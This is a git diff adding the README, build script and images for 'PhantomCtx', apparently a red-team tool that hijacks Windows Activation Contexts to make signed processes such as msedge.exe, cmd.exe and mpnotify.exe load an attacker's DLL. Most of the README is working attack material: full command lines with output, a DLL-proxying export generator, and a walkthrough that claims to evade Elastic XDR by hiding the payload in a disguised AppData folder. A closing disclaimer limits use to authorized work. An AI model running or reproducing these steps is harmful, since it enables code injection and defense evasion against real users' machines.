+[SUCCESS] Target process resumed. +``` + +The `add-entry` and `patch-entry` submodules are used when **the application already has a valid Activation Context with a DLL redirection section** and: + +1. It already contains a redirection entry for a DLL; in this case, `patch-entry` is the appropriate option. +2. A custom redirection needs to be added for a library that is expected to be loaded during execution; in this case, `add-entry` is used. + +Although `steal-context` can still be used in these scenarios, it is generally unnecessary, as a valid Activation Context is already available for modification. + +A `patch-entry` example can be observed after enumerating `msedge.exe` with `PhantomCtx`, where an existing custom redirection entry for `msedge_elf.dll` is identified: + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" + + +| +| [01] msedge_elf.dll +| PseudoKey : 0x81A505F9 +| RosterIdx : 3 +| Flags : OMITS_ASSEMBLY_ROOT +| Segments : 0 PathLen=0 bytes +| Path : +| + + +C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll + + + +[INFO] Patched ActivationContextData: + + +| +| [01] msedge_elf.dll +| PseudoKey : 0x81A505F9 +| RosterIdx : 3 +| Flags : PATH_INCLUDES_BASE_NAME +| Segments : 1 PathLen=40 bytes +| Path : C:\hijack\hijack.dll + +``` + +Alternatively, by enumerating the IAT of the target process, imported DLLs suitable for hijacking can be identified. For example, `librewolf.exe` imports `SHLWAPI.dll` even if it is not present in the Activation Context manifest; in such cases, it can be added to the redirection table to force resolution. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll + + + +[INFO] Patched ActivationContextData: + + +| ++--[ DLL REDIRECTION ] 4 entries +| [00] SHLWAPI.dll +| PseudoKey : 0x65C6D010 +| RosterIdx : 1 +| Flags : PATH_INCLUDES_BASE_NAME +| Segments : 1 PathLen=40 bytes +| Path : C:\hijack\hijack.dll +| + +``` + +## Runtime + +The `runtime` mode is designed to perform Activation Context hijacking on a signed, already-running process. + +Although this module is implemented, its effectiveness depends on accurately **knowing when and which specific library is loaded during the process runtime**. As a result, even if the Activation Context of the legitimate process is hijacked, success still relies on the target calling `LoadLibrary` without an explicit path, which is often difficult to predict. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h + + +----------------------------------+ + | PhantomCtx v1.0 | + +----------------------------------+ + + Usage: + PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS] + + Submodes: + -s steal-context Hijack the Activation Context of a running process + by stealing the context from another running process. + + -s add-entry Hijack the Activation Context of a running process + by adding a new DLL redirection entry. + + -s patch-entry Hijack the Activation Context of a running process + by patching the path of an existing DLL redirection entry. + + Options: + -p Name of the already running target process (e.g. notepad.exe). + -d Name of the DLL to hijack (e.g. comctl32.dll). + --dll-path Path to the custom DLL to load. + + steal-context Options: + --steal-from Process name to steal the Activation Context from. + + Examples: + PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll + PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll + PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll +``` + +The internal workflow of this mode is as follows: +1. The PID of the target process is identified from its executable name, and the process is opened with the permissions `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`. +2. Depending on the selected submodule: + - `steal-context`: Open the stealing process and copy a valid Activation Context containing a DLL redirection section into a local buffer. Depending on whether an entry for the target DLL already exists, a new entry is created or the existing one is patched. The modified Activation Context is then mapped into the running process, replacing the original one. + + - `add-entry`: Open the target running process and copy its Activation Context into a local buffer. A new DLL redirection entry is added for the specified DLL, and the modified Activation Context replaces the original. + + - `patch-entry`: Open the target running process and copy its Activation Context into a local buffer. The existing DLL redirection entry for the specified DLL is patched to point to the provided payload DLL, and the updated Activation Context replaces the original. + +The `steal-context` submodule is recommended when **the target running process does not contain a valid Activation Context or a valid DLL redirection section**. This can be determined using the previously executed `recon` module. + +A reliable target for context stealing is `explorer.exe`. This does not introduce instability or detection risk, as the operation only involves reading virtual memory. + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll + + + +[INFO] Patched ActivationContextData: + + +| ++--[ DLL REDIRECTION ] 3 entries +| [00] user32.dll +| PseudoKey : 0x0DB00860 +| RosterIdx : 1 +| Flags : PATH_INCLUDES_BASE_NAME +| Segments : 1 PathLen=40 bytes +| Path : C:\hijack\hijack.dll + + +[SUCCESS] Activation Context hijacked in running process 'cmd.exe'. +``` + +The `add-entry` and `patch-entry` submodules are used when **the running process already has a valid Activation Context with a DLL redirection section** and: + +1. It already contains a redirection entry for a DLL; in this case, `patch-entry` is the appropriate option. +2. A custom redirection needs to be added for a library that is expected to be loaded during execution; in this case, `add-entry` is used. + +Although `steal-context` can still be used in these scenarios, it is generally unnecessary, as a valid Activation Context is already available for modification. + +A `patch-entry` example can be observed after enumerating the process `msedge.exe` with `PhantomCtx`, where an existing custom redirection entry for `msedge_elf.dll` is identified: + +```c +C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe + + +| +| [01] msedge_elf.dll +| PseudoKey : 0x81A505F9 +| RosterIdx : 3 +| Flags : OMITS_ASSEMBLY_ROOT +| Segments : 0 PathLen=0 bytes +| Path : +| + + +C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll + + + +[INFO] Patched ActivationContextData: + + +| +| [01] msedge_elf.dll +| PseudoKey : 0x81A505F9 +| RosterIdx : 3 +| Flags : PATH_INCLUDES_BASE_NAME +| Segments : 1 PathLen=40 bytes +| Path : C:\hijack\hijack.dll +| + +[SUCCESS] Activation Context hijacked in running process 'msedge.exe'. +``` + +Alternatively, by enumerating the runtime events of the target process, DLLs loaded during execution that are suitable for hijacking can be identified using tools such as `Procmon`. In such cases, it can be added to the redirection table to force resolution. + +```c +.\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll + + + +[INFO] Patched ActivationContextData: + + +| ++--[ DLL REDIRECTION ] 4 entries +| [00] target.dll +| PseudoKey : 0x2D1B25C7 +| RosterIdx : 1 +| Flags : PATH_INCLUDES_BASE_NAME +| Segments : 1 PathLen=40 bytes +| Path : C:\hijack\hijack.dll +| + +[SUCCESS] Activation Context hijacked in running process 'msedge.exe'. +``` + +# Example: Activation Context Hijacking + DLL Proxying 'mpnotify.exe' + +Let's look at a practical use case in which `PhantomCtx` remains undetectable on a fully updated Windows 11 machine running the **Elastic Cloud XDR** agent with ALL rules enabled and set to **Prevent** mode to make it as aggressive as possible. + +![](images/image1.png) + +>Note that we will be targeting Windows 11 binaries; therefore, if our attacker machine is running Windows 10, we need to transfer the analyzed executables and DLLs to our machine. + +The first step is to identify a Windows executable that imports relevant DLLs. + +In this case, we'll use `PE-Bear` to inspect the Import Address Table (IAT) of the signed executable `C:\Windows\System32\mpnotify.exe`, where `ADVAPI32.dll` can be identified as one of its imports: + +![](images/image2.png) + +To prevent the application from crashing or exhibiting unexpected behavior when loading our payload, DLL proxying must be performed so that our payload forwards calls to the original DLL. + +[DLL Export Viewer](https://www.nirsoft.net/utils/dll_export_viewer.html) will be used to extract all exported functions from `ADVAPI32.dll` and generate the forwarding directives that will be specified in the source code of our proxy DLL. + +Once `C:\Windows\System32\advapi32.dll` is opened in DLL Export Viewer, navigate to `View > HTML Report - All Functions`. + +![](images/image3.png) + +It is necessary to keep the browser window open so that the generated `report.html` file remains available. The file path is then copied and processed using the following Python script developed by [itm4n](https://itm4n.github.io/dll-proxying/): + +```python +""" +The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately. +""" +from __future__ import print_function +import argparse + +def main(): + parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") + parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") + args = parser.parse_args() + report = args.report + + try: + f = open(report) + page = f.readlines() + f.close() + except: + print("[-] ERROR: open('%s')" % report) + return + + for line in page: + if line.startswith(""): + cols = line.replace("", "").split("") + function_name = cols[1] + ordinal = cols[4].split(' ')[0] + dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')] + print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal)) + +if __name__ == '__main__': + main() +``` + +```c +C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html +#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002") +#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003") +#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004") + +``` + +All exports from the output are copied into the source code of `payload.c`, after which the DLL is compiled and placed alongside `PhantomCtx` on the attacker machine, along with a copy of the original library renamed `advapi32_orig.dll`. + +The required files must be organized as follows: + +```c +C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir + +06/13/2026 08:53 PM 158,208 advapi32.dll +06/10/2026 01:52 AM 753,544 advapi32_orig.dll +06/13/2026 08:28 PM 198,144 PhantomCtx.exe +``` + +The files are then transferred to a directory on the Windows 11 target machine. In this case, they are dropped into: + +``` +C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache +``` + +Afterwards, Activation Context Hijacking is performed against the `mpnotify.exe` binary using `PhantomCtx`: + +```c +C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll" +[SUCCESS] Found 'explorer.exe' PID 6380 +[SUCCESS] Opened handle to PID 6380 +[SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes) +[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054 +[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll' +[+] 'advapi32.dll' not found -> adding new entry. +[ADD] DLL key : advapi32.dll +[ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll +[ADD] PseudoKey : 0xF60E87FC +[ADD] RosterIndex : 1 +[ADD] ElementCount : 3 +[ADD] TotalSize : 0x2054 -> 0x2166 +[SUCCESS] Blob patched. New TotalSize = 0x2166 + +[INFO] Patched ActivationContextData: + ++-[ ACTIVATION CONTEXT DATA ] +| Magic : 0x78746341 (Actx) +| HeaderSize : 0x20 (32 bytes) +| FormatVersion : 1 +| TotalSize : 0x2166 (8550 bytes) +| Flags : 0x00000000 +| ++--[ TOC ] 9 entries +| [00] Id=1 Format=1 Offset=0x0134 Length=0x09CC +| [01] Id=2 Format=1 Offset=0x0B00 Length=0x1666 <-- DLL Redirection +| [02] Id=3 Format=1 Offset=0x0BC4 Length=0x12C8 +| [03] Id=4 Format=2 Offset=0x1E8C Length=0x0028 +| [04] Id=5 Format=2 Offset=0x1EB4 Length=0x0028 +| [05] Id=6 Format=2 Offset=0x1EDC Length=0x0028 +| [06] Id=9 Format=2 Offset=0x1F04 Length=0x0028 +| [07] Id=10 Format=1 Offset=0x1F2C Length=0x0120 +| [08] Id=11 Format=1 Offset=0x204C Length=0x0008 +| ++--[ DLL REDIRECTION ] 3 entries +| [00] comctl32.dll.mui +| PseudoKey : 0xBBF34EA2 +| RosterIdx : 3 +| Flags : OMITS_ASSEMBLY_ROOT +| Segments : 0 PathLen=0 bytes +| Path : +| +| [01] comctl32.dll +| PseudoKey : 0xF1C4BC4F +| RosterIdx : 2 +| Flags : OMITS_ASSEMBLY_ROOT +| Segments : 0 PathLen=0 bytes +| Path : +| +| [02] advapi32.dll +| PseudoKey : 0xF60E87FC +| RosterIdx : 1 +| Flags : PATH_INCLUDES_BASE_NAME +| Segments : 1 PathLen=150 bytes +| Path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll +| ++--[ END ] + +[SUCCESS] Suspended process created... +[INFO] Original PEB.ActivationContextData = 0000021D10BA0000 +[SUCCESS] Patched blob written to section (8550 bytes) +[SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 +[SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) +[SUCCESS] Target process resumed. +``` + +In this case, the payload DLL executes `calc.exe`. No alerts were generated. + +![](images/image4.png) + +![](images/image5.png) + +# How to Compile + +To compile the tool, it is recommended to use Visual Studio or a compatible compiler. + +If using VS, open the `x64 Native Tools Command Prompt for VS`, navigate to the project root directory and compile it with `compile.bat`: + +``` +C:\PhantomCtx>.\compile.bat +[*] Created output directory: x64 +[*] Compiling PhantomCtx... +main.c +utils.c +recon.c +actctx.c +c_runtime.c +dynamic_resolution.c +process_utils.c +spawn.c +runtime.c +Generating Code... +[+] Build successful: x64\PhantomCtx.exe +``` + +# Disclaimer + +This tool was developed for **personal educational purposes** and is intended exclusively +for security professionals and red team operators working in **authorized environments**. + +The use of PhantomCtx against systems without explicit permission is **illegal** and +strictly prohibited. The author takes no responsibility for any misuse or damage caused +by this tool. \ No newline at end of file diff --git a/compile.bat b/compile.bat new file mode 100644 index 0000000..9543896 --- /dev/null +++ b/compile.bat @@ -0,0 +1,38 @@ +@echo off +setlocal + +:: ============================================================ +:: PhantomCtx - Build Script +:: Requires: MSVC (cl.exe) via Developer Command Prompt +:: ============================================================ + +set OUT_DIR=x64 +set OUT_BIN=%OUT_DIR%\PhantomCtx.exe +set OUT_OBJ=%OUT_DIR%\ + +:: ------------------------------------------------------------ + +if not exist %OUT_DIR% ( + mkdir %OUT_DIR% + echo [*] Created output directory: %OUT_DIR% +) + +echo [INFO] Compiling PhantomCtx... + +cl /nologo ^ + .\PhantomCtx\*.c ^ + .\PhantomCtx\utils\*.c ^ + .\PhantomCtx\recon\*.c ^ + .\PhantomCtx\common\*.c ^ + .\PhantomCtx\spawn\*.c ^ + .\PhantomCtx\runtime\*.c ^ + /Fe%OUT_BIN% /Fo%OUT_OBJ% + +if %ERRORLEVEL% NEQ 0 ( + echo [!] Compilation failed. + del /Q %OUT_DIR%\*.obj 2>nul + exit /b 1 +) + +del /Q %OUT_DIR%\*.obj 2>nul +echo [SUCCESSFUL] Build successful: %OUT_BIN% \ No newline at end of file diff --git a/images/image1.png b/images/image1.png new file mode 100644 index 0000000000000000000000000000000000000000..aca576868877bd7e2a1f071ab378f3859c81ea4e GIT binary patch literal 27781 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 